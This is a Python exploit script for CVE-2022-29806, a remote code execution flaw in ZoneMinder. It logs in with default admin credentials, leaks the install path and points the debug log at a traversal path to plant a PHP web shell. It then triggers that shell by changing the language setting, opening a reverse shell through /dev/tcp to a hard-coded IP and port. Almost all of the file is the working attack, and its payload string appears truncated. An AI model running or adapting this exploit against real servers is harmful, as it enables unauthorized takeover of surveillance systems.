#!/usr/bin/env python
# Exploit Title: ZoneMinder <= 1.36.12, <= 1.37.10 - Remote Code Execution
# Date: 04/27/2022
# Exploit Author: krastanoel
# Vulnerability Discovery By: krastanoel
# Vendor Homepage: https://zoneminder.com/
# Software Link: https://github.com/ZoneMinder/zoneminder/archive/refs/tags/1.36.12.tar.gz
# Version: <= 1.36.12, <= 1.37.10
# Tested on: Linux - Debian Bullseye
# Ref : https://krastanoel.com/cve/2022-29806
# CVE : CVE-2022-29806
import re, requests
import json, uuid, time
import argparse, sys
# Change this
payload = ''' /dev/tcp/172.17.0.1/4444 0<&1 2>&1'"); ?>'''
def print_status(message):
print("\033[34m[*]\033[0m {}:{} - {}".format(host,port,message))
def print_bad(message):
m = "Exploit aborted due to failure: unexpected-reply:"
print("\033[31m[-]\033[0m {} - {}:{} - {}".format(m,host,port,message))
def check():
u = "{}/index.php".format(url)
try:
r = requests.get(u, timeout=5)
if r.status_code != 200:
print_bad("Check URI Path, unexpected HTTP response code: {}".format(r.status_code))
exit()
except(requests.exceptions.ConnectTimeout, requests.exceptions.ConnectionError) as e:
print_bad("Could not connect to web service - no response")
exit()
# Check if auth enabled
if 'ZoneMinder Login' in r.content.decode():
data = {'action':'login','view':'login','username':username,'password':password}
csrf_magic = re.search('csrfMagicToken = "([^"]+)', r.content.decode())
if csrf_magic:
csrf_magic = csrf_magic.group(1)
data['__csrf_magic'] = csrf_magic
r = requests.post(u, data = data)
if '
ZM - Login' in r.content.decode():
print_bad("Service found, but authentication failed")
exit()
else:
r = requests.get(url, cookies = r.cookies)
# Check version
version = re.search('v(1.\d+.\d+)', r.content.decode()).group(1)
major, minor, patch = version.split(".")
if int(minor) <= affected_minor_version:
print_status("The target appears to be vulnerable.")
else:
print_bad("The target is not exploitable.")
exit()
return r.cookies
def exploit():
cookies = check()
print_status('Leak installation directory path')
random_path = uuid.uuid4().hex[0:10]
u = "{}/index.php?view={}".format(url,random_path)
requests.get(u, cookies = cookies)
u = "{}/index.php".format(url)
r = requests.get(u, cookies = cookies)
data = {'view':'request','request':'log','task':'query','limit':'10'}
csrf_magic = re.search('csrfMagicToken = "([^"]+)', r.content.decode())
if csrf_magic:
csrf_magic = csrf_magic.group(1)
data['__csrf_magic'] = csrf_magic
r = requests.post(u, cookies = cookies, data = data)
s = re.search('({"result":.*})', r.content.decode())
request_log = json.loads(s.group(1))
if 'rows' in request_log: # Check for latest version key first v1.36.x
key = 'rows'
else:
key = 'logs'
path = None
for log in request_log[key]:
if random_path in log['Message']:
path = log['File']
if path and path != "index.php":
path = "/".join(path.split("/")[0:-1])
elif path and path == "index.php":
path = "/usr/share/zoneminder/www" # probably using nginx, fallback to default directory and pray
else:
print_bad("Service found, but can't leak installation directory path")
exit()
fname = uuid.uuid4().hex[0:10] + ".php"
traverse_path = "".join([ "../" for x in "{}/lang".format(path).split("/")[1:]])
shell = traverse_path + "tmp/{}".format(fname)
data = {'view':'options','tab':'logging','action':'options',
'newConfig[ZM_LOG_DEBUG]':'1', 'newConfig[ZM_LOG_DEBUG_FILE]':shell}
if csrf_magic:
data['__csrf_magic'] = csrf_magic
requests.post(u, cookies = cookies, data = data)
print_status("Shell: {}".format(shell))
data = {'view':'request','request':'log','task':'create','level':'ERR','message':payload,'file':shell}
if csrf_magic:
data['__csrf_magic'] = csrf_magic
requests.post(u, cookies = cookies, data = data)
print_status("The reverse shell will trigger in 5 seconds, make sure you have netcat already listen")
time.sleep(5)
print_status("Check your netcat")
lang = shell.replace('.php','')
data = {'view':'options','tab':'system','action':'options','newConfig[ZM_LANG_DEFAULT]':lang}
if csrf_magic:
data['__csrf_magic'] = csrf_magic
requests.post(u, cookies = cookies, data = data)
example = "Example: {} --rhost 192.168.0.10 --rport 8080 --uri /zm".format(sys.argv[0])
parser = argparse.ArgumentParser(description='ZoneMinder <= 1.36.12, <= 1.37.10 - Remote Code Execution',epilog=example)
parser.add_argument('--rhost', type=str, nargs='?', required=True,
help='target host')
parser.add_argument('--rport', type=int, nargs='?', required=True,
help='target port')
parser.add_argument('--uri', type=str, nargs='?', default="/zm/", help='target uri')
parser.add_argument('--username', type=str, nargs='?', const='admin', default='admin', help='target username')
parser.add_argument('--password', type=str, nargs='?', const='admin', default='admin', help='target password')
args = parser.parse_args()
host = args.rhost
port = args.rport
uri = args.uri
username = args.username
password = args.password
affected_minor_version = 36
url = "http://{}:{}{}".format(host,port,uri)
exploit()